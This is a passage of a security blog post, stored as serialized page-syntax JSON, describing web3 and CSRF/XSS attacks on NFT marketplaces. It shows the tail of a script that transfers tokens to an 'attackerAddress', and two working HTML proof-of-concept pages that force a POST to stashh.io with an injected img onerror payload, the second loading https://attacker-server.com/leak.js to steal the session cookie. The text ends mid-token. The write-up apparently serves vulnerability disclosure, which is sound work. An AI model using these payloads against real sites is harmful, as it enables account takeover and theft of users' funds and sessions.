data:",{"type":24,"tag":90,"props":33912,"children":33913},{"style":136},[33914],{"type":29,"value":33791},{"type":24,"tag":90,"props":33916,"children":33917},{"style":114},[33918],{"type":29,"value":226},{"type":24,"tag":90,"props":33920,"children":33921},{"style":136},[33922],{"type":29,"value":33923},"methods\n",{"type":24,"tag":90,"props":33925,"children":33926},{"class":92,"line":25575},[33927,33932,33937,33941,33946,33950,33955,33959,33964,33968,33973,33977,33982,33986,33991],{"type":24,"tag":90,"props":33928,"children":33929},{"style":114},[33930],{"type":29,"value":33931}," .",{"type":24,"tag":90,"props":33933,"children":33934},{"style":108},[33935],{"type":29,"value":33936},"transfer",{"type":24,"tag":90,"props":33938,"children":33939},{"style":114},[33940],{"type":29,"value":117},{"type":24,"tag":90,"props":33942,"children":33943},{"style":136},[33944],{"type":29,"value":33945},"attackerAddress",{"type":24,"tag":90,"props":33947,"children":33948},{"style":114},[33949],{"type":29,"value":133},{"type":24,"tag":90,"props":33951,"children":33952},{"style":136},[33953],{"type":29,"value":33954},"web3",{"type":24,"tag":90,"props":33956,"children":33957},{"style":114},[33958],{"type":29,"value":226},{"type":24,"tag":90,"props":33960,"children":33961},{"style":136},[33962],{"type":29,"value":33963},"utils",{"type":24,"tag":90,"props":33965,"children":33966},{"style":114},[33967],{"type":29,"value":226},{"type":24,"tag":90,"props":33969,"children":33970},{"style":108},[33971],{"type":29,"value":33972},"toWei",{"type":24,"tag":90,"props":33974,"children":33975},{"style":114},[33976],{"type":29,"value":117},{"type":24,"tag":90,"props":33978,"children":33979},{"style":1085},[33980],{"type":29,"value":33981},"'100000000'",{"type":24,"tag":90,"props":33983,"children":33984},{"style":114},[33985],{"type":29,"value":133},{"type":24,"tag":90,"props":33987,"children":33988},{"style":1085},[33989],{"type":29,"value":33990},"'ether'",{"type":24,"tag":90,"props":33992,"children":33993},{"style":114},[33994],{"type":29,"value":21507},{"type":24,"tag":90,"props":33996,"children":33997},{"class":92,"line":25583},[33998,34002,34007],{"type":24,"tag":90,"props":33999,"children":34000},{"style":114},[34001],{"type":29,"value":33931},{"type":24,"tag":90,"props":34003,"children":34004},{"style":108},[34005],{"type":29,"value":34006},"encodeABI",{"type":24,"tag":90,"props":34008,"children":34009},{"style":114},[34010],{"type":29,"value":1384},{"type":24,"tag":90,"props":34012,"children":34013},{"class":92,"line":25591},[34014],{"type":24,"tag":90,"props":34015,"children":34016},{"style":114},[34017],{"type":29,"value":11293},{"type":24,"tag":90,"props":34019,"children":34020},{"class":92,"line":25628},[34021],{"type":24,"tag":90,"props":34022,"children":34023},{"emptyLinePlaceholder":16},[34024],{"type":29,"value":245},{"type":24,"tag":90,"props":34026,"children":34027},{"class":92,"line":25641},[34028,34033,34037,34041,34045,34050,34054,34059],{"type":24,"tag":90,"props":34029,"children":34030},{"style":136},[34031],{"type":29,"value":34032}," web3",{"type":24,"tag":90,"props":34034,"children":34035},{"style":114},[34036],{"type":29,"value":226},{"type":24,"tag":90,"props":34038,"children":34039},{"style":136},[34040],{"type":29,"value":33812},{"type":24,"tag":90,"props":34042,"children":34043},{"style":114},[34044],{"type":29,"value":226},{"type":24,"tag":90,"props":34046,"children":34047},{"style":108},[34048],{"type":29,"value":34049},"sendTransaction",{"type":24,"tag":90,"props":34051,"children":34052},{"style":114},[34053],{"type":29,"value":117},{"type":24,"tag":90,"props":34055,"children":34056},{"style":136},[34057],{"type":29,"value":34058},"transactionObject",{"type":24,"tag":90,"props":34060,"children":34061},{"style":114},[34062],{"type":29,"value":571},{"type":24,"tag":90,"props":34064,"children":34065},{"class":92,"line":25654},[34066],{"type":24,"tag":90,"props":34067,"children":34068},{"style":114},[34069],{"type":29,"value":34070}," });\n",{"type":24,"tag":90,"props":34072,"children":34073},{"class":92,"line":25667},[34074],{"type":24,"tag":90,"props":34075,"children":34076},{"style":114},[34077],{"type":29,"value":8257},{"type":24,"tag":90,"props":34079,"children":34080},{"class":92,"line":25721},[34081],{"type":24,"tag":90,"props":34082,"children":34083},{"style":114},[34084],{"type":29,"value":827},{"type":24,"tag":90,"props":34086,"children":34087},{"class":92,"line":25730},[34088],{"type":24,"tag":90,"props":34089,"children":34090},{"emptyLinePlaceholder":16},[34091],{"type":29,"value":245},{"type":24,"tag":90,"props":34093,"children":34095},{"class":92,"line":34094},51,[34096,34100,34104,34109],{"type":24,"tag":90,"props":34097,"children":34098},{"style":97},[34099],{"type":29,"value":21278},{"type":24,"tag":90,"props":34101,"children":34102},{"style":114},[34103],{"type":29,"value":117},{"type":24,"tag":90,"props":34105,"children":34106},{"style":1085},[34107],{"type":29,"value":34108},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":24,"tag":90,"props":34110,"children":34111},{"style":114},[34112],{"type":29,"value":571},{"type":24,"tag":90,"props":34114,"children":34116},{"class":92,"line":34115},52,[34117,34122,34126,34130,34134,34139],{"type":24,"tag":90,"props":34118,"children":34119},{"style":108},[34120],{"type":29,"value":34121},"setTimeout",{"type":24,"tag":90,"props":34123,"children":34124},{"style":114},[34125],{"type":29,"value":117},{"type":24,"tag":90,"props":34127,"children":34128},{"style":136},[34129],{"type":29,"value":33306},{"type":24,"tag":90,"props":34131,"children":34132},{"style":114},[34133],{"type":29,"value":133},{"type":24,"tag":90,"props":34135,"children":34136},{"style":349},[34137],{"type":29,"value":34138},"1e3",{"type":24,"tag":90,"props":34140,"children":34141},{"style":114},[34142],{"type":29,"value":571},{"type":24,"tag":25,"props":34144,"children":34145},{},[34146,34151],{"type":24,"tag":7711,"props":34147,"children":34148},{},[34149],{"type":29,"value":34150},"CSRF & XSS",{"type":29,"value":34152},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":24,"tag":25,"props":34154,"children":34155},{},[34156,34158,34163],{"type":29,"value":34157},"Our attention was drawn to ",{"type":24,"tag":69,"props":34159,"children":34161},{"href":33093,"rel":34160},[73],[34162],{"type":29,"value":33097},{"type":29,"value":34164},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":24,"tag":25,"props":34166,"children":34167},{},[34168],{"type":24,"tag":6301,"props":34169,"children":34171},{"alt":7,"src":34170},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":24,"tag":25,"props":34173,"children":34174},{},[34175],{"type":29,"value":34176},"and here there is the code:",{"type":24,"tag":80,"props":34178,"children":34180},{"className":33176,"code":34179,"language":33178,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n })()\n\n \u003C/script>\n\u003C/html>\n",[34181],{"type":24,"tag":32,"props":34182,"children":34183},{"__ignoreMap":7},[34184,34201,34218,34252,34338,34395,34594,34635,34651,34667,34674,34689,34696,34708,34767,34774,34837,34866,34904,34911,34949,34962,34969,34984],{"type":24,"tag":90,"props":34185,"children":34186},{"class":92,"line":93},[34187,34192,34197],{"type":24,"tag":90,"props":34188,"children":34190},{"style":34189},"--shiki-default:#808080",[34191],{"type":29,"value":1575},{"type":24,"tag":90,"props":34193,"children":34194},{"style":97},[34195],{"type":29,"value":34196},"html",{"type":24,"tag":90,"props":34198,"children":34199},{"style":34189},[34200],{"type":29,"value":8377},{"type":24,"tag":90,"props":34202,"children":34203},{"class":92,"line":200},[34204,34209,34214],{"type":24,"tag":90,"props":34205,"children":34206},{"style":34189},[34207],{"type":29,"value":34208}," \u003C",{"type":24,"tag":90,"props":34210,"children":34211},{"style":97},[34212],{"type":29,"value":34213},"body",{"type":24,"tag":90,"props":34215,"children":34216},{"style":34189},[34217],{"type":29,"value":8377},{"type":24,"tag":90,"props":34219,"children":34220},{"class":92,"line":239},[34221,34225,34230,34234,34239,34244,34248],{"type":24,"tag":90,"props":34222,"children":34223},{"style":34189},[34224],{"type":29,"value":34208},{"type":24,"tag":90,"props":34226,"children":34227},{"style":97},[34228],{"type":29,"value":34229},"script",{"type":24,"tag":90,"props":34231,"children":34232},{"style":34189},[34233],{"type":29,"value":12830},{"type":24,"tag":90,"props":34235,"children":34236},{"style":114},[34237],{"type":29,"value":34238},"history.pushState('', '', '/')",{"type":24,"tag":90,"props":34240,"children":34241},{"style":34189},[34242],{"type":29,"value":34243},"\u003C/",{"type":24,"tag":90,"props":34245,"children":34246},{"style":97},[34247],{"type":29,"value":34229},{"type":24,"tag":90,"props":34249,"children":34250},{"style":34189},[34251],{"type":29,"value":8377},{"type":24,"tag":90,"props":34253,"children":34254},{"class":92,"line":248},[34255,34260,34265,34270,34274,34279,34284,34288,34293,34297,34301,34306,34311,34315,34320,34325,34329,34334],{"type":24,"tag":90,"props":34256,"children":34257},{"style":34189},[34258],{"type":29,"value":34259}," \u003C",{"type":24,"tag":90,"props":34261,"children":34262},{"style":97},[34263],{"type":29,"value":34264},"form",{"type":24,"tag":90,"props":34266,"children":34267},{"style":136},[34268],{"type":29,"value":34269}," id",{"type":24,"tag":90,"props":34271,"children":34272},{"style":120},[34273],{"type":29,"value":5491},{"type":24,"tag":90,"props":34275,"children":34276},{"style":1085},[34277],{"type":29,"value":34278},"\"form123\"",{"type":24,"tag":90,"props":34280,"children":34281},{"style":136},[34282],{"type":29,"value":34283}," action",{"type":24,"tag":90,"props":34285,"children":34286},{"style":120},[34287],{"type":29,"value":5491},{"type":24,"tag":90,"props":34289,"children":34290},{"style":1085},[34291],{"type":29,"value":34292},"\"https://stashh.io/upload_asset\"",{"type":24,"tag":90,"props":34294,"children":34295},{"style":136},[34296],{"type":29,"value":3631},{"type":24,"tag":90,"props":34298,"children":34299},{"style":120},[34300],{"type":29,"value":5491},{"type":24,"tag":90,"props":34302,"children":34303},{"style":1085},[34304],{"type":29,"value":34305},"\"POST\"",{"type":24,"tag":90,"props":34307,"children":34308},{"style":136},[34309],{"type":29,"value":34310}," enctype",{"type":24,"tag":90,"props":34312,"children":34313},{"style":120},[34314],{"type":29,"value":5491},{"type":24,"tag":90,"props":34316,"children":34317},{"style":1085},[34318],{"type":29,"value":34319},"\"multipart/form-data\"",{"type":24,"tag":90,"props":34321,"children":34322},{"style":136},[34323],{"type":29,"value":34324}," value",{"type":24,"tag":90,"props":34326,"children":34327},{"style":120},[34328],{"type":29,"value":5491},{"type":24,"tag":90,"props":34330,"children":34331},{"style":1085},[34332],{"type":29,"value":34333},"\"asd\"",{"type":24,"tag":90,"props":34335,"children":34336},{"style":34189},[34337],{"type":29,"value":8377},{"type":24,"tag":90,"props":34339,"children":34340},{"class":92,"line":258},[34341,34346,34350,34355,34359,34364,34369,34373,34378,34382,34386,34391],{"type":24,"tag":90,"props":34342,"children":34343},{"style":34189},[34344],{"type":29,"value":34345}," \u003C",{"type":24,"tag":90,"props":34347,"children":34348},{"style":97},[34349],{"type":29,"value":1106},{"type":24,"tag":90,"props":34351,"children":34352},{"style":136},[34353],{"type":29,"value":34354}," type",{"type":24,"tag":90,"props":34356,"children":34357},{"style":120},[34358],{"type":29,"value":5491},{"type":24,"tag":90,"props":34360,"children":34361},{"style":1085},[34362],{"type":29,"value":34363},"\"file\"",{"type":24,"tag":90,"props":34365,"children":34366},{"style":136},[34367],{"type":29,"value":34368}," name",{"type":24,"tag":90,"props":34370,"children":34371},{"style":120},[34372],{"type":29,"value":5491},{"type":24,"tag":90,"props":34374,"children":34375},{"style":1085},[34376],{"type":29,"value":34377},"\"data\"",{"type":24,"tag":90,"props":34379,"children":34380},{"style":136},[34381],{"type":29,"value":34269},{"type":24,"tag":90,"props":34383,"children":34384},{"style":120},[34385],{"type":29,"value":5491},{"type":24,"tag":90,"props":34387,"children":34388},{"style":1085},[34389],{"type":29,"value":34390},"\"file123\"",{"type":24,"tag":90,"props":34392,"children":34393},{"style":34189},[34394],{"type":29,"value":8377},{"type":24,"tag":90,"props":34396,"children":34397},{"class":92,"line":272},[34398,34403,34407,34411,34415,34420,34424,34428,34433,34437,34441,34445,34450,34455,34460,34465,34470,34474,34479,34484,34489,34493,34498,34503,34507,34512,34517,34522,34527,34532,34537,34542,34546,34551,34556,34561,34566,34571,34575,34580,34585,34589],{"type":24,"tag":90,"props":34399,"children":34400},{"style":34189},[34401],{"type":29,"value":34402}," \u003C",{"type":24,"tag":90,"props":34404,"children":34405},{"style":97},[34406],{"type":29,"value":1106},{"type":24,"tag":90,"props":34408,"children":34409},{"style":136},[34410],{"type":29,"value":34354},{"type":24,"tag":90,"props":34412,"children":34413},{"style":120},[34414],{"type":29,"value":5491},{"type":24,"tag":90,"props":34416,"children":34417},{"style":1085},[34418],{"type":29,"value":34419},"\"hidden\"",{"type":24,"tag":90,"props":34421,"children":34422},{"style":136},[34423],{"type":29,"value":34368},{"type":24,"tag":90,"props":34425,"children":34426},{"style":120},[34427],{"type":29,"value":5491},{"type":24,"tag":90,"props":34429,"children":34430},{"style":1085},[34431],{"type":29,"value":34432},"\"config\"",{"type":24,"tag":90,"props":34434,"children":34435},{"style":136},[34436],{"type":29,"value":34324},{"type":24,"tag":90,"props":34438,"children":34439},{"style":120},[34440],{"type":29,"value":5491},{"type":24,"tag":90,"props":34442,"children":34443},{"style":1085},[34444],{"type":29,"value":21855},{"type":24,"tag":90,"props":34446,"children":34447},{"style":97},[34448],{"type":29,"value":34449},"{"",{"type":24,"tag":90,"props":34451,"children":34452},{"style":1085},[34453],{"type":29,"value":34454},"address",{"type":24,"tag":90,"props":34456,"children":34457},{"style":97},[34458],{"type":29,"value":34459},"":"",{"type":24,"tag":90,"props":34461,"children":34462},{"style":1085},[34463],{"type":29,"value":34464},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":24,"tag":90,"props":34466,"children":34467},{"style":97},[34468],{"type":29,"value":34469},"<",{"type":24,"tag":90,"props":34471,"children":34472},{"style":1085},[34473],{"type":29,"value":6301},{"type":24,"tag":90,"props":34475,"children":34476},{"style":97},[34477],{"type":29,"value":34478},"/",{"type":24,"tag":90,"props":34480,"children":34481},{"style":1085},[34482],{"type":29,"value":34483},"src",{"type":24,"tag":90,"props":34485,"children":34486},{"style":97},[34487],{"type":29,"value":34488},"=",{"type":24,"tag":90,"props":34490,"children":34491},{"style":1085},[34492],{"type":29,"value":21070},{"type":24,"tag":90,"props":34494,"children":34495},{"style":97},[34496],{"type":29,"value":34497}," ",{"type":24,"tag":90,"props":34499,"children":34500},{"style":1085},[34501],{"type":29,"value":34502},"onerror",{"type":24,"tag":90,"props":34504,"children":34505},{"style":97},[34506],{"type":29,"value":34488},{"type":24,"tag":90,"props":34508,"children":34509},{"style":1085},[34510],{"type":29,"value":34511},"alert",{"type":24,"tag":90,"props":34513,"children":34514},{"style":97},[34515],{"type":29,"value":34516},"(",{"type":24,"tag":90,"props":34518,"children":34519},{"style":1085},[34520],{"type":29,"value":34521},"document",{"type":24,"tag":90,"props":34523,"children":34524},{"style":97},[34525],{"type":29,"value":34526},".",{"type":24,"tag":90,"props":34528,"children":34529},{"style":1085},[34530],{"type":29,"value":34531},"domain",{"type":24,"tag":90,"props":34533,"children":34534},{"style":97},[34535],{"type":29,"value":34536},")>","",{"type":24,"tag":90,"props":34538,"children":34539},{"style":1085},[34540],{"type":29,"value":34541},"to",{"type":24,"tag":90,"props":34543,"children":34544},{"style":97},[34545],{"type":29,"value":34459},{"type":24,"tag":90,"props":34547,"children":34548},{"style":1085},[34549],{"type":29,"value":34550},"profile",{"type":24,"tag":90,"props":34552,"children":34553},{"style":97},[34554],{"type":29,"value":34555},"-",{"type":24,"tag":90,"props":34557,"children":34558},{"style":1085},[34559],{"type":29,"value":34560},"assets",{"type":24,"tag":90,"props":34562,"children":34563},{"style":97},[34564],{"type":29,"value":34565},"","",{"type":24,"tag":90,"props":34567,"children":34568},{"style":1085},[34569],{"type":29,"value":34570},"type",{"type":24,"tag":90,"props":34572,"children":34573},{"style":97},[34574],{"type":29,"value":34459},{"type":24,"tag":90,"props":34576,"children":34577},{"style":1085},[34578],{"type":29,"value":34579},"icon",{"type":24,"tag":90,"props":34581,"children":34582},{"style":97},[34583],{"type":29,"value":34584},""}",{"type":24,"tag":90,"props":34586,"children":34587},{"style":1085},[34588],{"type":29,"value":21855},{"type":24,"tag":90,"props":34590,"children":34591},{"style":34189},[34592],{"type":29,"value":34593}," />\n",{"type":24,"tag":90,"props":34595,"children":34596},{"class":92,"line":281},[34597,34601,34605,34609,34613,34618,34622,34626,34631],{"type":24,"tag":90,"props":34598,"children":34599},{"style":34189},[34600],{"type":29,"value":34402},{"type":24,"tag":90,"props":34602,"children":34603},{"style":97},[34604],{"type":29,"value":1106},{"type":24,"tag":90,"props":34606,"children":34607},{"style":136},[34608],{"type":29,"value":34354},{"type":24,"tag":90,"props":34610,"children":34611},{"style":120},[34612],{"type":29,"value":5491},{"type":24,"tag":90,"props":34614,"children":34615},{"style":1085},[34616],{"type":29,"value":34617},"\"submit\"",{"type":24,"tag":90,"props":34619,"children":34620},{"style":136},[34621],{"type":29,"value":34324},{"type":24,"tag":90,"props":34623,"children":34624},{"style":120},[34625],{"type":29,"value":5491},{"type":24,"tag":90,"props":34627,"children":34628},{"style":1085},[34629],{"type":29,"value":34630},"\"Submit request\"",{"type":24,"tag":90,"props":34632,"children":34633},{"style":34189},[34634],{"type":29,"value":34593},{"type":24,"tag":90,"props":34636,"children":34637},{"class":92,"line":384},[34638,34643,34647],{"type":24,"tag":90,"props":34639,"children":34640},{"style":34189},[34641],{"type":29,"value":34642}," \u003C/",{"type":24,"tag":90,"props":34644,"children":34645},{"style":97},[34646],{"type":29,"value":34264},{"type":24,"tag":90,"props":34648,"children":34649},{"style":34189},[34650],{"type":29,"value":8377},{"type":24,"tag":90,"props":34652,"children":34653},{"class":92,"line":420},[34654,34659,34663],{"type":24,"tag":90,"props":34655,"children":34656},{"style":34189},[34657],{"type":29,"value":34658}," \u003C/",{"type":24,"tag":90,"props":34660,"children":34661},{"style":97},[34662],{"type":29,"value":34213},{"type":24,"tag":90,"props":34664,"children":34665},{"style":34189},[34666],{"type":29,"value":8377},{"type":24,"tag":90,"props":34668,"children":34669},{"class":92,"line":428},[34670],{"type":24,"tag":90,"props":34671,"children":34672},{"emptyLinePlaceholder":16},[34673],{"type":29,"value":245},{"type":24,"tag":90,"props":34675,"children":34676},{"class":92,"line":437},[34677,34681,34685],{"type":24,"tag":90,"props":34678,"children":34679},{"style":34189},[34680],{"type":29,"value":34208},{"type":24,"tag":90,"props":34682,"children":34683},{"style":97},[34684],{"type":29,"value":34229},{"type":24,"tag":90,"props":34686,"children":34687},{"style":34189},[34688],{"type":29,"value":8377},{"type":24,"tag":90,"props":34690,"children":34691},{"class":92,"line":574},[34692],{"type":24,"tag":90,"props":34693,"children":34694},{"emptyLinePlaceholder":16},[34695],{"type":29,"value":245},{"type":24,"tag":90,"props":34697,"children":34698},{"class":92,"line":606},[34699,34704],{"type":24,"tag":90,"props":34700,"children":34701},{"style":114},[34702],{"type":29,"value":34703}," (async ()=>",{"type":24,"tag":90,"props":34705,"children":34706},{"style":97},[34707],{"type":29,"value":2221},{"type":24,"tag":90,"props":34709,"children":34710},{"class":92,"line":615},[34711,34716,34721,34726,34731,34735,34739,34744,34748,34753,34758,34763],{"type":24,"tag":90,"props":34712,"children":34713},{"style":136},[34714],{"type":29,"value":34715}," const",{"type":24,"tag":90,"props":34717,"children":34718},{"style":136},[34719],{"type":29,"value":34720}," blob",{"type":24,"tag":90,"props":34722,"children":34723},{"style":120},[34724],{"type":29,"value":34725}," = ",{"type":24,"tag":90,"props":34727,"children":34728},{"style":636},[34729],{"type":29,"value":34730},"await",{"type":24,"tag":90,"props":34732,"children":34733},{"style":120},[34734],{"type":29,"value":1151},{"type":24,"tag":90,"props":34736,"children":34737},{"style":636},[34738],{"type":29,"value":34730},{"type":24,"tag":90,"props":34740,"children":34741},{"style":108},[34742],{"type":29,"value":34743}," fetch",{"type":24,"tag":90,"props":34745,"children":34746},{"style":120},[34747],{"type":29,"value":117},{"type":24,"tag":90,"props":34749,"children":34750},{"style":1085},[34751],{"type":29,"value":34752},"\"/sapo.png\"",{"type":24,"tag":90,"props":34754,"children":34755},{"style":120},[34756],{"type":29,"value":34757},")).",{"type":24,"tag":90,"props":34759,"children":34760},{"style":108},[34761],{"type":29,"value":34762},"blob",{"type":24,"tag":90,"props":34764,"children":34765},{"style":120},[34766],{"type":29,"value":2121},{"type":24,"tag":90,"props":34768,"children":34769},{"class":92,"line":623},[34770],{"type":24,"tag":90,"props":34771,"children":34772},{"emptyLinePlaceholder":16},[34773],{"type":29,"value":245},{"type":24,"tag":90,"props":34775,"children":34776},{"class":92,"line":632},[34777,34781,34786,34790,34794,34799,34804,34808,34812,34817,34822,34827,34832],{"type":24,"tag":90,"props":34778,"children":34779},{"style":136},[34780],{"type":29,"value":287},{"type":24,"tag":90,"props":34782,"children":34783},{"style":136},[34784],{"type":29,"value":34785}," f",{"type":24,"tag":90,"props":34787,"children":34788},{"style":120},[34789],{"type":29,"value":34725},{"type":24,"tag":90,"props":34791,"children":34792},{"style":97},[34793],{"type":29,"value":1622},{"type":24,"tag":90,"props":34795,"children":34796},{"style":108},[34797],{"type":29,"value":34798}," File",{"type":24,"tag":90,"props":34800,"children":34801},{"style":120},[34802],{"type":29,"value":34803},"([",{"type":24,"tag":90,"props":34805,"children":34806},{"style":136},[34807],{"type":29,"value":34762},{"type":24,"tag":90,"props":34809,"children":34810},{"style":120},[34811],{"type":29,"value":24857},{"type":24,"tag":90,"props":34813,"children":34814},{"style":1085},[34815],{"type":29,"value":34816},"'sapo.png'",{"type":24,"tag":90,"props":34818,"children":34819},{"style":120},[34820],{"type":29,"value":34821},", {",{"type":24,"tag":90,"props":34823,"children":34824},{"style":136},[34825],{"type":29,"value":34826},"type:",{"type":24,"tag":90,"props":34828,"children":34829},{"style":1085},[34830],{"type":29,"value":34831}," 'image/png'",{"type":24,"tag":90,"props":34833,"children":34834},{"style":120},[34835],{"type":29,"value":34836},"})\n",{"type":24,"tag":90,"props":34838,"children":34839},{"class":92,"line":669},[34840,34844,34849,34853,34857,34862],{"type":24,"tag":90,"props":34841,"children":34842},{"style":136},[34843],{"type":29,"value":34715},{"type":24,"tag":90,"props":34845,"children":34846},{"style":136},[34847],{"type":29,"value":34848}," dataTransfer",{"type":24,"tag":90,"props":34850,"children":34851},{"style":120},[34852],{"type":29,"value":34725},{"type":24,"tag":90,"props":34854,"children":34855},{"style":97},[34856],{"type":29,"value":1622},{"type":24,"tag":90,"props":34858,"children":34859},{"style":108},[34860],{"type":29,"value":34861}," DataTransfer",{"type":24,"tag":90,"props":34863,"children":34864},{"style":120},[34865],{"type":29,"value":236},{"type":24,"tag":90,"props":34867,"children":34868},{"class":92,"line":683},[34869,34874,34878,34883,34887,34891,34895,34900],{"type":24,"tag":90,"props":34870,"children":34871},{"style":136},[34872],{"type":29,"value":34873}," dataTransfer",{"type":24,"tag":90,"props":34875,"children":34876},{"style":120},[34877],{"type":29,"value":226},{"type":24,"tag":90,"props":34879,"children":34880},{"style":136},[34881],{"type":29,"value":34882},"items",{"type":24,"tag":90,"props":34884,"children":34885},{"style":120},[34886],{"type":29,"value":226},{"type":24,"tag":90,"props":34888,"children":34889},{"style":108},[34890],{"type":29,"value":1505},{"type":24,"tag":90,"props":34892,"children":34893},{"style":120},[34894],{"type":29,"value":117},{"type":24,"tag":90,"props":34896,"children":34897},{"style":136},[34898],{"type":29,"value":34899},"f",{"type":24,"tag":90,"props":34901,"children":34902},{"style":120},[34903],{"type":29,"value":571},{"type":24,"tag":90,"props":34905,"children":34906},{"class":92,"line":737},[34907],{"type":24,"tag":90,"props":34908,"children":34909},{"emptyLinePlaceholder":16},[34910],{"type":29,"value":245},{"type":24,"tag":90,"props":34912,"children":34913},{"class":92,"line":751},[34914,34919,34923,34928,34932,34937,34941,34945],{"type":24,"tag":90,"props":34915,"children":34916},{"style":136},[34917],{"type":29,"value":34918}," file123",{"type":24,"tag":90,"props":34920,"children":34921},{"style":120},[34922],{"type":29,"value":226},{"type":24,"tag":90,"props":34924,"children":34925},{"style":136},[34926],{"type":29,"value":34927},"files",{"type":24,"tag":90,"props":34929,"children":34930},{"style":120},[34931],{"type":29,"value":34725},{"type":24,"tag":90,"props":34933,"children":34934},{"style":136},[34935],{"type":29,"value":34936},"dataTransfer",{"type":24,"tag":90,"props":34938,"children":34939},{"style":120},[34940],{"type":29,"value":226},{"type":24,"tag":90,"props":34942,"children":34943},{"style":136},[34944],{"type":29,"value":34927},{"type":24,"tag":90,"props":34946,"children":34947},{"style":120},[34948],{"type":29,"value":381},{"type":24,"tag":90,"props":34950,"children":34951},{"class":92,"line":782},[34952,34957],{"type":24,"tag":90,"props":34953,"children":34954},{"style":97},[34955],{"type":29,"value":34956}," }",{"type":24,"tag":90,"props":34958,"children":34959},{"style":114},[34960],{"type":29,"value":34961},")()\n",{"type":24,"tag":90,"props":34963,"children":34964},{"class":92,"line":791},[34965],{"type":24,"tag":90,"props":34966,"children":34967},{"emptyLinePlaceholder":16},[34968],{"type":29,"value":245},{"type":24,"tag":90,"props":34970,"children":34971},{"class":92,"line":799},[34972,34976,34980],{"type":24,"tag":90,"props":34973,"children":34974},{"style":34189},[34975],{"type":29,"value":34658},{"type":24,"tag":90,"props":34977,"children":34978},{"style":97},[34979],{"type":29,"value":34229},{"type":24,"tag":90,"props":34981,"children":34982},{"style":34189},[34983],{"type":29,"value":8377},{"type":24,"tag":90,"props":34985,"children":34986},{"class":92,"line":807},[34987,34991,34995],{"type":24,"tag":90,"props":34988,"children":34989},{"style":34189},[34990],{"type":29,"value":34243},{"type":24,"tag":90,"props":34992,"children":34993},{"style":97},[34994],{"type":29,"value":34196},{"type":24,"tag":90,"props":34996,"children":34997},{"style":34189},[34998],{"type":29,"value":8377},{"type":24,"tag":25,"props":35000,"children":35001},{},[35002],{"type":29,"value":35003},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":24,"tag":25,"props":35005,"children":35006},{},[35007],{"type":29,"value":35008},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":24,"tag":25,"props":35010,"children":35011},{},[35012],{"type":29,"value":35013},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":24,"tag":25,"props":35015,"children":35016},{},[35017],{"type":29,"value":35018},"From here, we were able to steal the session cookie from local storage.",{"type":24,"tag":80,"props":35020,"children":35022},{"className":33176,"code":35021,"language":33178,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n\n form123.submit()\n })()\n\n \u003C/script>\n\u003C/html>\n",[35023],{"type":24,"tag":32,"props":35024,"children":35025},{"__ignoreMap":7},[35026,35041,35056,35087,35162,35213,35401,35440,35455,35470,35477,35492,35499,35510,35561,35568,35623,35650,35685,35692,35727,35734,35755,35766,35773,35788],{"type":24,"tag":90,"props":35027,"children":35028},{"class":92,"line":93},[35029,35033,35037],{"type":24,"tag":90,"props":35030,"children":35031},{"style":34189},[35032],{"type":29,"value":1575},{"type":24,"tag":90,"props":35034,"children":35035},{"style":97},[35036],{"type":29,"value":34196},{"type":24,"tag":90,"props":35038,"children":35039},{"style":34189},[35040],{"type":29,"value":8377},{"type":24,"tag":90,"props":35042,"children":35043},{"class":92,"line":200},[35044,35048,35052],{"type":24,"tag":90,"props":35045,"children":35046},{"style":34189},[35047],{"type":29,"value":34208},{"type":24,"tag":90,"props":35049,"children":35050},{"style":97},[35051],{"type":29,"value":34213},{"type":24,"tag":90,"props":35053,"children":35054},{"style":34189},[35055],{"type":29,"value":8377},{"type":24,"tag":90,"props":35057,"children":35058},{"class":92,"line":239},[35059,35063,35067,35071,35075,35079,35083],{"type":24,"tag":90,"props":35060,"children":35061},{"style":34189},[35062],{"type":29,"value":34208},{"type":24,"tag":90,"props":35064,"children":35065},{"style":97},[35066],{"type":29,"value":34229},{"type":24,"tag":90,"props":35068,"children":35069},{"style":34189},[35070],{"type":29,"value":12830},{"type":24,"tag":90,"props":35072,"children":35073},{"style":114},[35074],{"type":29,"value":34238},{"type":24,"tag":90,"props":35076,"children":35077},{"style":34189},[35078],{"type":29,"value":34243},{"type":24,"